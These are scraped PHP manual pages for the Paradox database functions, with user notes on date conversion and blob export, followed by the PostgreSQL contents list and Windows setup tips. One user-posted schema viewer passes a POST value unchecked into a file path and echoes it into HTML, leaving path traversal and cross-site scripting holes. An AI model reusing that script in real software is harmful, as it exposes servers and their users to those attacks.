john dot navratil at sbcglobal dot net 21-Dec-2010 06:52
Date fields are retrieved as the number of days since 0 A.D. (I think), but not as anything resembling a date.  If you are exporting this data, you must used this function to convert.  Read the schema first to determine which fields are date fields...

<?php
$schema = $pxdoc->get_schema();

$dateFields = array();
foreach ($schema as $key => $attrs) {
    if ($attrs["type"] ==  PX_FIELD_DATE)    // Collect list of "date" columns
        $dateFields[] = $key;
}
?>

An export to a CSV format, for example, could them be written...

<?php
for ($rec = 0; $rec < $totRecs; ++$rec) {
    $arr = $pxdoc->get_record($rec);

    foreach ($dateFields as $key) {
        $arr[$key] = $pxdoc->date2string($arr[$key], "m/d/Y");
    }

    fputcsv(STDOUT, $arr);  // STDOUT only available with CLI
}
?>


Deletes record from paradox database

  • « px_date2string
  • px_delete »
  • PHP Manual
  • Paradox Functions
  • Deletes record from paradox database

px_delete_record

(PECL paradox >= 1.4.0)

px_delete_record — Deletes record from paradox database

Description

bool px_delete_record ( resource $pxdoc , int $num )

This function deletes a record from the database. It does not free the space in the database file but just marks it as deleted. Inserting a new record afterwards will reuse the space.

Note:

This function is only available if pxlib >= 0.6.0 is used.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Deletes resource of paradox database

  • « px_delete_record
  • px_get_field »
  • PHP Manual
  • Paradox Functions
  • Deletes resource of paradox database

px_delete

(PECL paradox >= 1.0.0)

px_delete — Deletes resource of paradox database

Description

bool px_delete ( resource $pxdoc )

Deletes the resource of the paradox file and frees all memory.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the specification of a single field

  • « px_delete
  • px_get_info »
  • PHP Manual
  • Paradox Functions
  • Returns the specification of a single field

px_get_field

(PECL paradox >= 1.0.0)

px_get_field — Returns the specification of a single field

Description

array px_get_field ( resource $pxdoc , int $fieldno )

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

fieldno

Number of the field. The first field has number 0. Specifying a field number less than 0 and greater or equal the number of fields will trigger an error.

Return Values

Returns the specification of the fieldno 'th database field as an associated array. The array contains three fields named name, type, and size.

User Contributed Notes

There are no user contributed notes for this page.


Return lots of information about a paradox file

  • « px_get_field
  • px_get_parameter »
  • PHP Manual
  • Paradox Functions
  • Return lots of information about a paradox file

px_get_info

(PECL paradox >= 1.0.0)

px_get_info — Return lots of information about a paradox file

Description

array px_get_info ( resource $pxdoc )

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns an associated array with lots of information about a paradox file. This array is likely to be extended in the future.

fileversion

Version of file multiplied by 10, e.g. 70.

tablename

Name of table as stored in the file. If the database was created by pxlib, then this will be the name of the file without the extension.

numrecords

Number of records in this table.

numfields

Number of fields in this table.

headersize

Number of bytes used for the header. This is usually 0x800.

recordsize

Number of bytes used for each record. This is the sum of all field sizes (available since version 1.4.2).

maxtablesize

This value multiplied by 0x400 is the size of a data block in bytes. The maximum number of records in a datablock is the integer part of (maxtablesize * 0x400 - 8) / recordsize.

numdatablocks

The number of data blocks in the file. Each data block contains a certain number of records which depends on the record size and the data block size (maxtablesize). Data blocks may not necessarily be completely filled.

numindexfields

Number of fields used for the primary index. The fields do always start with field number 1.

codepage

The DOS codepage which was used for encoding fields with character data. If the target encoding is not set with px_set_targetencoding() this will be the encoding for character fields when records are being accessed with px_get_record() or px_retrieve_record().

See Also

  • px_numfields() - Returns number of fields in a database
  • px_numrecords() - Returns number of records in a database

User Contributed Notes

There are no user contributed notes for this page.


Gets a parameter

  • « px_get_info
  • px_get_record »
  • PHP Manual
  • Paradox Functions
  • Gets a parameter

px_get_parameter

(PECL paradox >= 1.1.0)

px_get_parameter — Gets a parameter

Description

string px_get_parameter ( resource $pxdoc , string $name )

Gets various parameters.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

name

The name can be one of the following:

tablename

The name of the table as it will be stored in the database header.

targetencoding

The encoding for the output. Data which is being read from character fields with px_get_record() or px_retrieve_record() is recoded into the targetencoding. If it is not set, then the data will be delivered as stored in the database file.

inputencoding

The encoding of the input data which is to be stored into the database. When storing data of character fields in the database, the data is expected to be delivered in this encoding.

Return Values

Returns the value of the parameter or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns record of paradox database

  • « px_get_parameter
  • px_get_schema »
  • PHP Manual
  • Paradox Functions
  • Returns record of paradox database

px_get_record

(PECL paradox >= 1.0.0)

px_get_record — Returns record of paradox database

Description

array px_get_record ( resource $pxdoc , int $num [, int $mode = 0 ] )

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

mode

The optional mode can be PX_KEYTOLOWER or PX_KEYTOUPPER in order to convert the keys of the returned array into lower or upper case. If mode is not passed or is 0, then the key will be exactly like the field name. The element values will contain the field values. NULL values will be retained and are different from 0.0, 0 or the empty string. Fields of type PX_FIELD_TIME will be returned as an integer counting the number of milliseconds starting at midnight. A timestamp (PX_FIELD_TIMESTAMP) and date (PX_FIELD_DATE) are floating point respectively int values counting milliseconds respectively days starting at the beginning of julian calendar. Use the functions px-timestamp2string() and px-date2string() to convert them into a character representation.

Return Values

Returns the num'th record from the paradox database. The record is returned as an associated array with its keys being the field names.

See Also

  • px_retrieve_record() - Returns record of paradox database

User Contributed Notes

There are no user contributed notes for this page.


Returns the database schema

  • « px_get_record
  • px_get_value »
  • PHP Manual
  • Paradox Functions
  • Returns the database schema

px_get_schema

(PECL paradox >= 1.0.0)

px_get_schema — Returns the database schema

Description

array px_get_schema ( resource $pxdoc [, int $mode = 0 ] )

px_get_schema() returns the database schema.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

mode

If the optional mode is PX_KEYTOLOWER or PX_KEYTOUPPER the keys of the returned array will be converted to lower or upper case. If mode is 0 or not passed at all, then the key name will be identical to the field name.

Return Values

Returns the schema of a database file as an associated array. The key name is equal to the field name. Each array element is itself an associated array containing the two fields type and size. type is one of the constants in table Constants for field types. size is the number of bytes this field consumes in the record. The total of all field sizes is equal to the record size as it can be retrieved with px-get-info().

User Contributed Notes

Mr Muddy 14-Aug-2007 10:14
It's not especially pretty and there isn't any error trapping, so please don't use this on any sort of production data.  This will display the schema of a paradox data source....

<?
    /*
    Paradox database schema display
    Tim Burt
    27/07/07
    */

    //we're expecting a filename in the post vars
    if ($_POST['database_name'] != "") {

        //Set up anything we are likely to need
        $database_filename = "<path to your data file>".$_POST['database_name'];

        echo "<p><b>Schema for ".$_POST['database_name']."</b></p>\n";

        if(!$pxdoc = px_new()) {
      DIE("Problem !");
        }
        $fp = fopen($database_filename, "r");
        if(!px_open_fp($pxdoc, $fp)) {
         DIE("Couldn't open database file");
        }
        else {
            //output the database schema...
            $stock_schema = px_get_schema($pxdoc);

            if (is_array($stock_schema)) {
                foreach ($stock_schema as $key=>$value) {
                    echo "<br><b>".$key."</b> - Type ".$value['type'];
                    }
                }
            }
        px_close($pxdoc);
        px_delete($pxdoc);
        fclose($fp);

    }
    else {
        //show the form to get the filename
        echo "<form action=\"show_schema.php\" method=\"post\">\n";
        echo "<p>Data Source Name (include extension) : <input type=\"text\" size=\"10\" name=\"database_name\"></p>\n";
        echo "<p><input type=\"submit\" value=\"Show Schema !\">\n";
        echo "</form>\n";
    }

?>


Gets a value

  • « px_get_schema
  • px_insert_record »
  • PHP Manual
  • Paradox Functions
  • Gets a value

px_get_value

(PECL paradox >= 1.1.0)

px_get_value — Gets a value

Description

float px_get_value ( resource $pxdoc , string $name )

Gets various values.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

name

name can be one of the following.

numprimkeys

The number of primary keys. Paradox databases always use the first numprimkeys fields for the primary index.

Return Values

Returns the value of the parameter or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Inserts record into paradox database

  • « px_get_value
  • px_new »
  • PHP Manual
  • Paradox Functions
  • Inserts record into paradox database

px_insert_record

(PECL paradox >= 1.4.0)

px_insert_record — Inserts record into paradox database

Description

int px_insert_record ( resource $pxdoc , array $data )

Inserts a new record into the database. The record is not necessarily inserted at the end of the database, but may be inserted at any position depending on where the first free slot is found.

The record data is passed as an array of field values. The elements in the array must correspond to the fields in the database. If the array has less elements than fields in the database, the remaining fields will be set to null.

Most field values can be passed as its equivalent php type e.g. a long value is used for fields of type PX_FIELD_LONG, PX_FIELD_SHORT and PX_FIELD_AUTOINC, a double values is used for fields of type PX_FIELD_CURRENCY and PX_FIELD_NUMBER. Field values for blob and alpha fields are passed as strings.

Fields of type PX_FIELD_TIME and PX_FIELD_DATE both require a long value. In the first case this is the number of milliseconds since midnight. In the second case this is the number of days since 1.1.0000. Below there are two examples to convert the current date or timestamp into a value suitable for one of paradox's date/time fields.

Note:

This function is only available if pxlib >= 0.6.0 is used.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

data

Associated or indexed array containing the field values as e.g. returned by px_retrieve_record().

Return Values

Returns FALSE on failure or the record number in case of success.

Examples

Example #1 Set the date/time fields in a paradox database to the current date/time

<?php
$px = px_new();
$fp = fopen("test.db", "w+");
px_create_fp($px, $fp, array(array("timestamp", "@"), array("time", "T"), array("date", "D")));

$curdate = getdate();
$jd = gregoriantojd($curdate["mon"], $curdate["mday"], $curdate["year"]);
$days = $jd - 1721425; /* Number of days between 1.1.4714 b.c. and 1.1.0000 */
$secs = $curdate["hours"]*3600 + $curdate["minutes"]*60 + $curdate["seconds"];
px_insert_record($px, array($days*86400000.0 + $secs*1000.0, $secs*1000.0, $days));

$curtimestamp = microtime(true);
$days = (int) ($curtimestamp/86400);
$secs = $curtimestamp - ($days * 86400.0);
$days += 2440588; /* Number of days between 1.1.4714 b.c. and 1.1.1970 */
$days -= 1721425; /* Number of days between 1.1.4714 b.c. and 1.1.0000 */
px_insert_record($px, array($days*86400000.0 + $secs*1000.0, $secs*1000.0, $days));
for($i=0; $i<2; $i++) {
    $rec = px_retrieve_record($px, $i);
    echo px_timestamp2string($px, $rec["timestamp"], "n/d/Y H:i:s")."\n";
    echo px_date2string($px, $rec["date"], "n/d/Y")."\n";
}
px_close($px);
px_delete($px);
?>

The above example will output:

2/21/2006 21:42:30
2/21/2006
2/21/2006 20:42:30
2/21/2006

The Julian day count as passed to jdtogregorian() has a different base of 1.1.4714 b.c. and must therefore be calculated by adding 1721425 to the day count used in the paradox file. Turning the day count into a timestamp is easily done by multiplying with 86400000.0 to obtain milli seconds.

See Also

px_update_record() - Updates record in paradox database

User Contributed Notes

There are no user contributed notes for this page.


Create a new paradox object

  • « px_insert_record
  • px_numfields »
  • PHP Manual
  • Paradox Functions
  • Create a new paradox object

px_new

(PECL paradox >= 1.0.0)

px_new — Create a new paradox object

Description

resource px_new ( void )

Create a new paradox object. You will have to call this function before any further functions. px_new() does not create any file on the disk, it just creates an instance of a paradox object. This function must not be called if the object oriented interface is used. Use new paradox_db() instead.

Return Values

Returns FALSE on failure.

Examples

Example #1 Opening a Paradox database

<?php
if(!$pxdoc = px_new()) {
  /* Error handling */
}
$fp = fopen("test.db", "r");
if(!px_open_fp($pxdoc, $fp)) {
  /* Error handling */
}
// ...
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

If you prefer the object oriented API, then the above example will look like the following.

Example #2 Opening a Paradox database

<?php
$fp = fopen("test.db", "r");
$pxdoc = new paradox_db();
if(!$pxdoc->open_fp($fp)) {
  /* Error handling */
}
// ...
$pxdoc->close();
fclose($fp);
?>

See Also

  • px_delete() - Deletes resource of paradox database
  • px_open_fp() - Open paradox database

User Contributed Notes

There are no user contributed notes for this page.


Returns number of fields in a database

  • « px_new
  • px_numrecords »
  • PHP Manual
  • Paradox Functions
  • Returns number of fields in a database

px_numfields

(PECL paradox >= 1.0.0)

px_numfields — Returns number of fields in a database

Description

int px_numfields ( resource $pxdoc )

Get the number of fields in a database file.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns the number of fields in a database file. The return value of this function is identical to the element numfields in the array returned by px_get_info().

User Contributed Notes

There are no user contributed notes for this page.


Returns number of records in a database

  • « px_numfields
  • px_open_fp »
  • PHP Manual
  • Paradox Functions
  • Returns number of records in a database

px_numrecords

(PECL paradox >= 1.0.0)

px_numrecords — Returns number of records in a database

Description

int px_numrecords ( resource $pxdoc )

Get the number of records in a database file.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns the number of records in a database file. The return value of this function is identical to the element numrecords in the array returned by px_get_info().

User Contributed Notes

There are no user contributed notes for this page.


Open paradox database

  • « px_numrecords
  • px_put_record »
  • PHP Manual
  • Paradox Functions
  • Open paradox database

px_open_fp

(PECL paradox >= 1.0.0)

px_open_fp — Open paradox database

Description

bool px_open_fp ( resource $pxdoc , resource $file )

Open an existing paradox database file. The actual file has to be opened before with fopen(). This function can also be used to open primary index files and tread them like a paradox database. This is supported for those who would like to investigate a primary index. It cannot be used to accelerate access to a database file.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

file

file is the return value from fopen() with the actual database file as parameter. Make sure the database is writable if you plan to update or insert records.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fopen() - Opens file or URL
  • The example at px_new() - Create a new paradox object

User Contributed Notes

There are no user contributed notes for this page.


Stores record into paradox database

  • « px_open_fp
  • px_retrieve_record »
  • PHP Manual
  • Paradox Functions
  • Stores record into paradox database

px_put_record

(PECL paradox >= 1.0.0)

px_put_record — Stores record into paradox database

Description

bool px_put_record ( resource $pxdoc , array $record [, int $recpos = -1 ] )

Stores a record into a paradox database. The record is always added at the end of the database, regardless of any free slots. Use px_insert_record() to add a new record into the first free slot found in the database.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

record

Associated or indexed array containing the field values as e.g. returned by px_retrieve_record().

recpos

This optional parameter may be used to specify a record number greater than the current number of records in the database. The function will add as many empty records as needed. There is hardly any need for this parameter.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns record of paradox database

  • « px_put_record
  • px_set_blob_file »
  • PHP Manual
  • Paradox Functions
  • Returns record of paradox database

px_retrieve_record

(PECL paradox >= 1.4.0)

px_retrieve_record — Returns record of paradox database

Description

array px_retrieve_record ( resource $pxdoc , int $num [, int $mode = 0 ] )

This function is very similar to px_get_record() but uses internally a different approach to retrieve the data. It relies on pxlib for reading each single field value, which usually results in support for more field types.

Note:

This function is only available if pxlib >= 0.6.0 is used.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

mode

The optional mode can be PX_KEYTOLOWER or PX_KEYTOUPPER in order to convert the keys into lower or upper case. If mode is not passed or is 0, then the key will be exactly like the field name. The element values will contain the field values. NULL values will be retained and are different from 0.0, 0 or the empty string. Fields of type PX_FIELD_TIME will be returned as an integer counting the number of milliseconds starting at midnight. A timestamp is a floating point value also counting milliseconds starting at the beginning of julian calendar.

Return Values

Returns the num'th record from the paradox database. The record is returned as an associated array with its keys being the field names.

See Also

  • px_get_record() - Returns record of paradox database

User Contributed Notes

There are no user contributed notes for this page.


Sets the file where blobs are read from

  • « px_retrieve_record
  • px_set_parameter »
  • PHP Manual
  • Paradox Functions
  • Sets the file where blobs are read from

px_set_blob_file

(PECL paradox >= 1.3.0)

px_set_blob_file — Sets the file where blobs are read from

Description

bool px_set_blob_file ( resource $pxdoc , string $filename )

Sets the name of the file where blobs are going to be read from or written into. Without calling this function, px_get_record() or px_retrieve_record() will only return data in blob fields if the data is part of the record and not stored in the blob file. Blob data is stored in the record if it is small enough to fit in the size of the blob field.

Calling px_put_record(),
px_insert_record(), or
px_update_record() without calling
px_set_blob_file() will result in truncated blob fields
unless the data fits into the database file.

Calling this function twice will close the first blob file and open the new one.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

filename

The name of the file. Its extension should be .MB.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 18-Dec-2011 11:59
Note: Due to the (old) bug https://bugs.php.net/bug.php?id=57141 the database file passed to px_open_fp needs to be opened with write permissions (e.g. using the r+ flag). It will crash with a fatal error if opened in read only mode.
simon at centurioncomputers dot com dot au 23-Apr-2011 05:23
I could not get the OO interface to set_blob_file() to work....

<?php
$fp = fopen("/home/httpd/vhosts/newjcs/SALLY.DB", "r");
$pxdoc = new paradox_db();
$pxdoc->set_blob_file('/home/httpd/vhosts/newjcs/SALLY.MB');
?>
.............................
Fatal error: paradox_db::set_blob_file(): Paradox database has not been opened or created when setting the blob file
.............................

but worked nicely when called procedurally, so quick example to grab the images from a paradox DB , the field names you will have to change to suit.

<?php
$pxdoc = px_new();
$fp = fopen("/blah/SALLY.DB", "r");
px_open_fp($pxdoc, $fp);
px_set_blob_file($pxdoc,'/blah/SALLY.MB');
$numrecords=px_numrecords($pxdoc);
for($x=1;$x<=$numrecords;++$x){
    $yaks=px_get_record($pxdoc,$x);
    if($yaks['Picture']){
        file_put_contents("/blah/ims/{$yaks['Val No']}.bmp",$yaks['Picture']);
    }
}
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>


Sets a parameter

  • « px_set_blob_file
  • px_set_tablename »
  • PHP Manual
  • Paradox Functions
  • Sets a parameter

px_set_parameter

(PECL paradox >= 1.1.0)

px_set_parameter — Sets a parameter

Description

bool px_set_parameter ( resource $pxdoc , string $name , string $value )

Sets various parameters.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

name

Depending on the parameter you want to set, name can be one of the following.

tablename

The name of the table as it will be stored in the database header.

targetencoding

The encoding for the output. Data which is being read from character fields is recoded into the targetencoding.

inputencoding

The encoding of the input data which is to be stored into the database.

value

The value of parameter to set. For inputencoding and targetencoding this must be the name of the encoding as understood by iconv or recode, e.g. iso-8859-1, utf-8, cp850.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • px_get_info() - Return lots of information about a paradox file to determine the DOS code page.

User Contributed Notes

There are no user contributed notes for this page.


Sets the name of a table (deprecated)

  • « px_set_parameter
  • px_set_targetencoding »
  • PHP Manual
  • Paradox Functions
  • Sets the name of a table (deprecated)

px_set_tablename

(PECL paradox >= 1.0.0)

px_set_tablename — Sets the name of a table (deprecated)

Description

void px_set_tablename ( resource $pxdoc , string $name )

Sets the table name of a paradox database, which was created with px_create_fp(). This function is deprecated use px_set_parameter() instead.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

tablename

The name of the table. If it is not set explicitly it will be set to the name of the database file.

Return Values

Returns NULL on success or FALSE on failure.

See Also

px_set_parameter() - Sets a parameter

User Contributed Notes

There are no user contributed notes for this page.


Sets the encoding for character fields (deprecated)

  • « px_set_tablename
  • px_set_value »
  • PHP Manual
  • Paradox Functions
  • Sets the encoding for character fields (deprecated)

px_set_targetencoding

(PECL paradox >= 1.0.0)

px_set_targetencoding — Sets the encoding for character fields (deprecated)

Description

bool px_set_targetencoding ( resource $pxdoc , string $encoding )

Set the encoding for data retrieved from a character field. All character fields will be recoded to the encoding set by this function. If the encoding is not set, the character data will be returned in the DOS code page encoding as specified in the database file. The encoding can be any string identifier known to iconv or recode. On Unix systems run iconv -l for a list of available encodings.

This function is deprecated and should be replaced by calling px_set_parameter().

See also px_get_info() to determine the DOS code page as stored in the database file.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

encoding

The encoding for the output. Data which is being read from character fields is recoded into the targetencoding.

Return Values

Returns FALSE if the encoding could not be set, e.g. the encoding is unknown, or pxlib does not support recoding at all. In the second case a warning will be issued.

See Also

px_set_parameter() - Sets a parameter

User Contributed Notes

There are no user contributed notes for this page.


Sets a value

  • « px_set_targetencoding
  • px_timestamp2string »
  • PHP Manual
  • Paradox Functions
  • Sets a value

px_set_value

(PECL paradox >= 1.1.0)

px_set_value — Sets a value

Description

bool px_set_value ( resource $pxdoc , string $name , float $value )

Sets various values.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

name

name can be one of the following.

numprimkeys

The number of primary keys. Paradox databases always use the first numprimkeys fields for the primary index.

value

Return Values

Returns TRUE on success or FALSE on failure.

See Also

px_set_parameter() - Sets a parameter

User Contributed Notes

There are no user contributed notes for this page.


Converts the timestamp into a string.

  • « px_set_value
  • px_update_record »
  • PHP Manual
  • Paradox Functions
  • Converts the timestamp into a string.

px_timestamp2string

(PECL paradox >= 1.4.0)

px_timestamp2string — Converts the timestamp into a string.

Description

string px_timestamp2string ( resource $pxdoc , float $value , string $format )

Turns a timestamp as it stored in the paradox file into human readable format. Paradox timestamps are the number of miliseconds since 0001-01-02. This function is just for convenience. It can be easily replaced by some math and the calendar functions as demonstrated in the following example.

Parameters

pxdoc

Resource identifier of the paradox database.

value

Value as stored in paradox database field of type PX_FIELD_TIME, or PX_FIELD_TIMESTAMP.

format

String format similar to the format used by date(). The placeholders support by this function is a subset of those supported by date() (Y, y, m, n, d, j, H, h, G, g, i, s, A, a, L).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Turn a paradox timestamp into a human readable form

<?php
$px = px_new();

/* make up a date as it could be stored in */
/* a date field of a paradox db. */
/* 700000 days since 1.1.0000. */
$days = 700000;

/* Use the calendar functions to print a */
/* human readable format of the date */
echo jdtogregorian($days+1721425)."\n";

/* Turn it into a timestamp as it stored in a paradox database */
/* Timestamps are stored in miliseconds since 0001-01-02 */
$stamp = $days * 86400.0 * 1000.0;
/* Add one hour */
$stamp += 3600000.0;
/* The following will output '7/15/1917 01:00:00'. */
echo px_timestamp2string($px, $stamp, "n/d/Y H:i:s")."\n";

px_delete($px);
?>

The above example will output:

7/15/1917
7/15/1917 01:00:00

The Julian day count as passed to jdtogregorian() has a different base of 1.1.4714 b.c. and must therefore be calculated by adding 1721425 to the day count used in the paradox file. Turning the day count into a timestamp is easily done by multiplying with 86400000.0 to obtain miliseconds.

See Also

  • px_date2string() - Converts a date into a string.
  • jdtogregorian() - Converts Julian Day Count to Gregorian date

User Contributed Notes

There are no user contributed notes for this page.


Updates record in paradox database

  • « px_timestamp2string
  • PostgreSQL »
  • PHP Manual
  • Paradox Functions
  • Updates record in paradox database

px_update_record

(PECL paradox >= 1.4.0)

px_update_record — Updates record in paradox database

Description

bool px_update_record ( resource $pxdoc , array $data , int $num )

Updates an exiting record in the database. The record starts at 0.

The record data is passed as an array of field values. The elements in the array must correspond to the fields in the database. If the array has less elements than fields in the database, the remaining fields will be set to null.

Note:

This function is only available if pxlib >= 0.6.0 is used.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

data

Associated array containing the field values as returned by px_retrieve_record().

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

px_insert_record() - Inserts record into paradox database

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • PostgreSQL Functions
    • pg_affected_rows — Returns number of affected records (tuples)
    • pg_cancel_query — Cancel an asynchronous query
    • pg_client_encoding — Gets the client encoding
    • pg_close — Closes a PostgreSQL connection
    • pg_connect_poll — Poll the status of an in-progress asynchronous PostgreSQL connection attempt.
    • pg_connect — Open a PostgreSQL connection
    • pg_connection_busy — Get connection is busy or not
    • pg_connection_reset — Reset connection (reconnect)
    • pg_connection_status — Get connection status
    • pg_consume_input — Reads input on the connection
    • pg_convert — Convert associative array values into suitable for SQL statement
    • pg_copy_from — Insert records into a table from an array
    • pg_copy_to — Copy a table to an array
    • pg_dbname — Get the database name
    • pg_delete — Deletes records
    • pg_end_copy — Sync with PostgreSQL backend
    • pg_escape_bytea — Escape a string for insertion into a bytea field
    • pg_escape_identifier — Escape a identifier for insertion into a text field
    • pg_escape_literal — Escape a literal for insertion into a text field
    • pg_escape_string — Escape a string for query
    • pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result.
    • pg_fetch_all_columns — Fetches all rows in a particular result column as an array
    • pg_fetch_all — Fetches all rows from a result as an array
    • pg_fetch_array — Fetch a row as an array
    • pg_fetch_assoc — Fetch a row as an associative array
    • pg_fetch_object — Fetch a row as an object
    • pg_fetch_result — Returns values from a result resource
    • pg_fetch_row — Get a row as an enumerated array
    • pg_field_is_null — Test if a field is SQL NULL
    • pg_field_name — Returns the name of a field
    • pg_field_num — Returns the field number of the named field
    • pg_field_prtlen — Returns the printed length
    • pg_field_size — Returns the internal storage size of the named field
    • pg_field_table — Returns the name or oid of the tables field
    • pg_field_type_oid — Returns the type ID (OID) for the corresponding field number
    • pg_field_type — Returns the type name for the corresponding field number
    • pg_flush — Flush outbound query data on the connection
    • pg_free_result — Free result memory
    • pg_get_notify — Gets SQL NOTIFY message
    • pg_get_pid — Gets the backend's process ID
    • pg_get_result — Get asynchronous query result
    • pg_host — Returns the host name associated with the connection
    • pg_insert — Insert array into table
    • pg_last_error — Get the last error message string of a connection
    • pg_last_notice — Returns the last notice message from PostgreSQL server
    • pg_last_oid — Returns the last row's OID
    • pg_lo_close — Close a large object
    • pg_lo_create — Create a large object
    • pg_lo_export — Export a large object to file
    • pg_lo_import — Import a large object from file
    • pg_lo_open — Open a large object
    • pg_lo_read_all — Reads an entire large object and send straight to browser
    • pg_lo_read — Read a large object
    • pg_lo_seek — Seeks position within a large object
    • pg_lo_tell — Returns current seek position a of large object
    • pg_lo_truncate — Truncates a large object
    • pg_lo_unlink — Delete a large object
    • pg_lo_write — Write to a large object
    • pg_meta_data — Get meta data for table
    • pg_num_fields — Returns the number of fields in a result
    • pg_num_rows — Returns the number of rows in a result
    • pg_options — Get the options associated with the connection
    • pg_parameter_status — Looks up a current parameter setting of the server.
    • pg_pconnect — Open a persistent PostgreSQL connection
    • pg_ping — Ping database connection
    • pg_port — Return the port number associated with the connection
    • pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion.
    • pg_put_line — Send a NULL-terminated string to PostgreSQL backend
    • pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
    • pg_query — Execute a query
    • pg_result_error_field — Returns an individual field of an error report.
    • pg_result_error — Get error message associated with result
    • pg_result_seek — Set internal row offset in result resource
    • pg_result_status — Get status of query result
    • pg_select — Select records
    • pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).
    • pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion.
    • pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s).
    • pg_send_query — Sends asynchronous query
    • pg_set_client_encoding — Set the client encoding
    • pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error and pg_result_error.
    • pg_socket — Get a read only handle to the socket underlying a PostgreSQL connection
    • pg_trace — Enable tracing a PostgreSQL connection
    • pg_transaction_status — Returns the current in-transaction status of the server.
    • pg_tty — Return the TTY name associated with the connection
    • pg_unescape_bytea — Unescape binary for bytea type
    • pg_untrace — Disable tracing of a PostgreSQL connection
    • pg_update — Update table
    • pg_version — Returns an array with client, protocol and server version (when available)

User Contributed Notes

There are no user contributed notes for this page.


Introduction

PostgreSQL database is an Open Source product and available without cost. Postgres, developed originally in the UC Berkeley Computer Science Department, pioneered many of the object-relational concepts now becoming available in some commercial databases. It provides SQL92/SQL99 language support, transactions, referential integrity, stored procedures and type extensibility. PostgreSQL is an open source descendant of this original Berkeley code.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

nestor dot martinez at etb dot net dot co 23-Mar-2010 02:47
If you get a message like this:
"Php Startup: Unable to load dynamic library 'C:\php\ext\php_pgsql.dll"

1. In the Configuration File alter the order of the libraries "php_exif.dll" and "php_mbstring.dll", in such a way that is called first the library "php_mbstring.dll"

2. Copy all the libraries in the folder "bin" of your installation of PostgreSQL and paste them into the root folder of Windows

3. Uncomment the line "extension=php_pgsql.dll"
4. Now you should see on the page generated by "phpinfo()" section of PostgreSQL
some at domain dot name 30-Oct-2009 01:35
Another windows xp solution for "Unable to load dynamic library 'php_pgsql.dll' - The specified module could not be found."

Add the path of the postgres binaries to the system search-path:

Right click on "My Computer", select "properties", "advanced"-tab, "Environment variables"-button, "System variables"-section, select "path" and click "Edit" and add the path to the postgres binaries at the end, in my case it was "C:\Program Files\PostgreSQL\8.4\bin" and then restart the computer (or at least restart the apache/php processes)

Please note that the system-path can have several values, each separated by a semicolon ";".
emil at example dot com 07-Jan-2009 03:04
Unable to load dynamic library 'C:\\php\\ext\\php_pgsql.dll' - The specified module could not be found.

another solution:

copy libpq.dll/all files from zip (if you have php from installer)

add to httpd.conf:

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/PHP/"
Loadfile "C:\php\php5ts.dll"
Loadfile "C:\php\libpq.dll"
LoadModule php5_module "c:/PHP/php5apache2_2.dll"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

(in php.ini default: extension_dir ="c:\PHP\ext" )

if it doesn't work add c:\php (php path) to your windows path (and restart)

tested on php5.2.8 + apache2.2.3
kouber at php dot net 26-Nov-2008 02:01
If you get this error on Windows:

Unable to load dynamic library 'C:/php/ext\\php_pgsql.dll' - The specified module could not be found.

Try downloading the PostgreSQL binaries-no-install archive from http://www.postgresql.org/ftp/binary/v8.3.5/win32/ (replace 8.3.5 with the latest stable version) and copy these DLLs to C:/WINDOWS/system32/ :

comerr32.dll
gssapi32.dll
k5sprt32.dll
